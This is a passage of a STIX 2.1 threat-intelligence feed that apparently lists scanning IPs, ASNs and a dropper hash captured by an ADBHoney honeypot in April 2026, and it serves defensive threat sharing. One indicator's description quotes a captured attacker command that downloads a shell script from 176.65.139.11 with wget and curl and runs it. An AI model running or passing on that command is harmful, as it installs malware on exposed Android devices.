      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:00:04.000Z",
      "valid_until": "2026-05-24T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-22T14:56:40.000Z",
          "last_seen": "2026-04-22T14:57:42.560Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T16:00:43.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-22T15:47:22.000Z | last_seen=2026-04-22T15:48:27.193Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--14903fa1-7524-4fd4-9ed3-b2d7d6facb47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T16:00:43.000Z",
      "valid_until": "2026-05-24T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-22T15:47:22.000Z",
          "last_seen": "2026-04-22T15:48:27.193Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-22T17:12:47.000Z | last_seen=2026-04-22T17:22:57.580Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--25174558-57b8-46e5-a815-7a0ff4a18aa4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '167.172.148.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:00:02.000Z",
      "valid_until": "2026-05-24T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-22T17:12:47.000Z",
          "last_seen": "2026-04-22T17:22:57.580Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-22T17:17:20.000Z | last_seen=2026-04-22T17:18:26.804Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--4322a873-5d99-4aa8-875c-c43bd9ab1465",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '168.144.46.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:00:02.000Z",
      "valid_until": "2026-05-24T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-22T17:17:20.000Z",
          "last_seen": "2026-04-22T17:18:26.804Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://176.65.139.11/wget.sh; sh wget.sh; curl http://176.65.139.11/wget.sh -o wget.sh; sh wget.sh; wget http://176.65.139.11/\"\n\nObserved in ADBHoney telemetry for 2026-04. events=158 | first_seen=2026-04-22T17:36:45.000Z | last_seen=2026-04-28T15:57:03.857Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--f225b469-4532-4094-b28f-e4563342d2ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:00:02.000Z",
      "valid_until": "2026-05-24T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 158,
          "first_seen": "2026-04-22T17:36:45.000Z",
          "last_seen": "2026-04-28T15:57:03.857Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-22T17:50:34.000Z | last_seen=2026-04-23T06:06:26.722Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--194bacce-c029-4ac8-8b6e-6263dbcb2ba2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.183.233.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:00:02.000Z",
      "valid_until": "2026-05-24T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-22T17:50:34.000Z",
          "last_seen": "2026-04-23T06:06:26.722Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RU; asn=216473; asn_org=Bashinskii Vadim Ruslanovich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-22T17:29:54.000Z | last_seen=2026-04-23T15:07:43.898Z | ports=5555 | cc=RU | asn=216473 | org=Bashinskii Vadim Ruslanovich",
      "id": "indicator--c570151c-4b6d-43df-afd5-5f2b55aaf7f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.66.83.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:00:02.000Z",
      "valid_until": "2026-05-24T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-22T17:29:54.000Z",
          "last_seen": "2026-04-23T15:07:43.898Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "216473"
          ],
          "org": [
            "Bashinskii Vadim Ruslanovich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T18:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/88beef148c8d33c63bab757339fc92313ce7d8f2631dd6b780ac789a68645099.raw; last_seen=2026-04-22T17:36:48.569Z",
      "id": "indicator--60efca08-844e-4353-b077-bfe541bb52b6",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '88beef148c8d33c63bab757339fc92313ce7d8f2631dd6b780ac789a68645099']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T19:00:26.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-22T18:38:31.000Z | last_seen=2026-04-22T18:48:47.270Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--88d96bf6-e547-4c29-85f8-486a3ba3b4ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T19:00:26.000Z",
      "valid_until": "2026-05-24T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-22T18:38:31.000Z",
          "last_seen": "2026-04-22T18:48:47.270Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T19:00:26.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-22T18:28:46.000Z | last_seen=2026-04-22T18:29:51.626Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--ff97a5de-5e4b-4a4a-ba3c-4cc11181a7a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T19:00:26.000Z",
      "valid_until": "2026-05-24T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-22T18:28:46.000Z",
          "last_seen": "2026-04-22T18:29:51.626Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-22T19:03:58.000Z | last_seen=2026-04-22T19:14:08.081Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--98b1e002-2c58-427c-9195-535bcb9c87eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.109.51.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:00:02.000Z",
      "valid_until": "2026-05-24T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-22T19:03:58.000Z",
          "last_seen": "2026-04-22T19:14:08.081Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=19 | first_seen=2026-04-22T19:33:59.000Z | last_seen=2026-04-22T19:44:12.527Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--7b7a2c87-7d6e-41cf-b685-2a9e9d37b1b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:00:02.000Z",
      "valid_until": "2026-05-24T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 19,
          "first_seen": "2026-04-22T19:33:59.000Z",
          "last_seen": "2026-04-22T19:44:12.527Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=NL; asn=43641; asn_org=SOLLUTIUM EU Sp z.o.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-22T19:33:45.000Z | last_seen=2026-04-22T19:34:58.218Z | ports=5555 | cc=NL | asn=43641 | org=SOLLUTIUM EU Sp z.o.o.",
      "id": "indicator--bb8b09d1-58fa-4e95-bb09-f7c4e37156d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.137.56.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:00:02.000Z",
      "valid_until": "2026-05-24T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-22T19:33:45.000Z",
          "last_seen": "2026-04-22T19:34:58.218Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "43641"
          ],
          "org": [
            "SOLLUTIUM EU Sp z.o.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-22T21:13:08.000Z | last_seen=2026-04-22T21:30:29.465Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--9c9a0ade-e06a-465b-8ba2-1fe732aa2b8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T22:00:02.000Z",
      "valid_until": "2026-05-24T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-22T21:13:08.000Z",
          "last_seen": "2026-04-22T21:30:29.465Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=67 | first_seen=2026-04-22T22:43:58.000Z | last_seen=2026-04-24T08:42:07.196Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--86e27c69-7c29-4cb6-9b45-88aa28b1b08d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.22.247.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T23:00:03.000Z",
      "valid_until": "2026-05-24T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 67,
          "first_seen": "2026-04-22T22:43:58.000Z",
          "last_seen": "2026-04-24T08:42:07.196Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T04:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=42; ports=5555; cc=CH; asn=402253; asn_org=SKN Subnet & Telecom Ltd; cats=Generic Protocol Command Decode,Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=49 | first_seen=2026-04-23T03:49:47.000Z | last_seen=2026-04-23T04:00:45.141Z | ports=5555 | cc=CH | asn=402253 | org=SKN Subnet & Telecom Ltd",
      "id": "indicator--8945d59e-b1ba-401a-8a46-931b8b44fded",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '209.99.190.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:00:14.000Z",
      "valid_until": "2026-05-25T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 49,
          "first_seen": "2026-04-23T03:49:47.000Z",
          "last_seen": "2026-04-23T04:00:45.141Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CH"
          ],
          "asn": [
            "402253"
          ],
          "org": [
            "SKN Subnet & Telecom Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T04:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=PA; asn=64107; asn_org=RACK SPHERE HOSTING S.A.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-23T03:49:32.000Z | last_seen=2026-04-23T03:50:40.880Z | ports=5555 | cc=PA | asn=64107 | org=RACK SPHERE HOSTING S.A.",
      "id": "indicator--20a0a4a5-3219-4947-abe4-af9ee7800c8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.225.135.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:00:14.000Z",
      "valid_until": "2026-05-25T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
